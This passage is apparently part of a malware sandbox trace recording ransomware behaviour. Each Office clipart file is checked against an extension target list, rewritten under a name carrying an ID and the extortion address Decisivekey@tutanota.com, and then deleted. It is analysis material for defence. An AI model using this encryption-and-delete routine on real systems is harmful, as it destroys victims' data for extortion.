(lpString=".1cd") returned 4 [0224.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.677] lstrlenW (lpString=".jpg") returned 4 [0224.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.677] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=28212) returned 1 [0224.677] CloseHandle (hObject=0x208) returned 1 [0224.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0224.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.678] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.678] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.678] GetLastError () returned 0x0 [0224.678] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6e34, lpOverlapped=0x0) returned 1 [0224.683] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0224.684] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.684] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.684] SetEndOfFile (hFile=0x228) returned 1 [0224.685] CloseHandle (hObject=0x228) returned 1 [0224.685] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.685] SetEndOfFile (hFile=0x208) returned 1 [0224.685] CloseHandle (hObject=0x208) returned 1 [0224.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString=".doc") returned 4 [0224.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString=".docx") returned 5 [0224.686] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0224.686] lstrlenW (lpString=".pdf") returned 4 [0224.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString=".xls") returned 4 [0224.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.686] lstrlenW (lpString=".xlsx") returned 5 [0224.686] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0224.686] lstrlenW (lpString=".ppt") returned 4 [0224.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString=".zip") returned 4 [0224.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.686] lstrlenW (lpString=".rar") returned 4 [0224.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString=".bz2") returned 4 [0224.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString=".7z") returned 3 [0224.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString=".dbf") returned 4 [0224.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString=".1cd") returned 4 [0224.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0224.686] lstrlenW (lpString=".jpg") returned 4 [0224.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.687] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=17638) returned 1 [0224.687] CloseHandle (hObject=0x208) returned 1 [0224.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0224.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.688] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.688] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.688] GetLastError () returned 0x0 [0224.688] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x44e6, lpOverlapped=0x0) returned 1 [0224.697] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0224.698] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.698] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.698] SetEndOfFile (hFile=0x228) returned 1 [0224.698] CloseHandle (hObject=0x228) returned 1 [0224.698] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.698] SetEndOfFile (hFile=0x208) returned 1 [0224.699] CloseHandle (hObject=0x208) returned 1 [0224.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString=".doc") returned 4 [0224.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString=".docx") returned 5 [0224.700] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0224.700] lstrlenW (lpString=".pdf") returned 4 [0224.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString=".xls") returned 4 [0224.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.700] lstrlenW (lpString=".xlsx") returned 5 [0224.700] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0224.700] lstrlenW (lpString=".ppt") returned 4 [0224.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString=".zip") returned 4 [0224.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.700] lstrlenW (lpString=".rar") returned 4 [0224.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString=".bz2") returned 4 [0224.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString=".7z") returned 3 [0224.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString=".dbf") returned 4 [0224.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString=".1cd") returned 4 [0224.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0224.700] lstrlenW (lpString=".jpg") returned 4 [0224.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.700] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1456) returned 1 [0224.701] CloseHandle (hObject=0x208) returned 1 [0224.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0224.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.701] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.701] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.702] GetLastError () returned 0x0 [0224.702] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5b0, lpOverlapped=0x0) returned 1 [0224.703] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0224.704] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.704] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.704] SetEndOfFile (hFile=0x228) returned 1 [0224.704] CloseHandle (hObject=0x228) returned 1 [0224.704] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.704] SetEndOfFile (hFile=0x208) returned 1 [0224.705] CloseHandle (hObject=0x208) returned 1 [0224.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0224.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.705] lstrlenW (lpString=".doc") returned 4 [0224.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.705] lstrlenW (lpString=".docx") returned 5 [0224.705] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0224.705] lstrlenW (lpString=".pdf") returned 4 [0224.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString=".xls") returned 4 [0224.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.706] lstrlenW (lpString=".xlsx") returned 5 [0224.706] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0224.706] lstrlenW (lpString=".ppt") returned 4 [0224.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.706] lstrlenW (lpString=".zip") returned 4 [0224.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.706] lstrlenW (lpString=".rar") returned 4 [0224.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString=".bz2") returned 4 [0224.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString=".7z") returned 3 [0224.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.706] lstrlenW (lpString=".dbf") returned 4 [0224.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.706] lstrlenW (lpString=".1cd") returned 4 [0224.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0224.706] lstrlenW (lpString=".jpg") returned 4 [0224.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.706] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5314) returned 1 [0224.706] CloseHandle (hObject=0x208) returned 1 [0224.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0224.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.707] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.707] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.707] GetLastError () returned 0x0 [0224.707] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x14c2, lpOverlapped=0x0) returned 1 [0224.746] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0224.747] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.747] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.747] SetEndOfFile (hFile=0x228) returned 1 [0224.747] CloseHandle (hObject=0x228) returned 1 [0224.747] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.747] SetEndOfFile (hFile=0x208) returned 1 [0224.748] CloseHandle (hObject=0x208) returned 1 [0224.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0224.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.749] lstrlenW (lpString=".doc") returned 4 [0224.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.749] lstrlenW (lpString=".docx") returned 5 [0224.749] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0224.749] lstrlenW (lpString=".pdf") returned 4 [0224.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.749] lstrlenW (lpString=".xls") returned 4 [0224.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.749] lstrlenW (lpString=".xlsx") returned 5 [0224.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0224.749] lstrlenW (lpString=".ppt") returned 4 [0224.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.749] lstrlenW (lpString=".zip") returned 4 [0224.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.749] lstrlenW (lpString=".rar") returned 4 [0224.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.749] lstrlenW (lpString=".bz2") returned 4 [0224.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.750] lstrlenW (lpString=".7z") returned 3 [0224.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.750] lstrlenW (lpString=".dbf") returned 4 [0224.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.750] lstrlenW (lpString=".1cd") returned 4 [0224.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0224.750] lstrlenW (lpString=".jpg") returned 4 [0224.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.751] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=42050) returned 1 [0224.751] CloseHandle (hObject=0x208) returned 1 [0224.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0224.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.752] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.752] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.752] GetLastError () returned 0x0 [0224.752] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xa442, lpOverlapped=0x0) returned 1 [0224.759] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa450, lpOverlapped=0x0) returned 1 [0224.761] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.761] WriteFile (in: 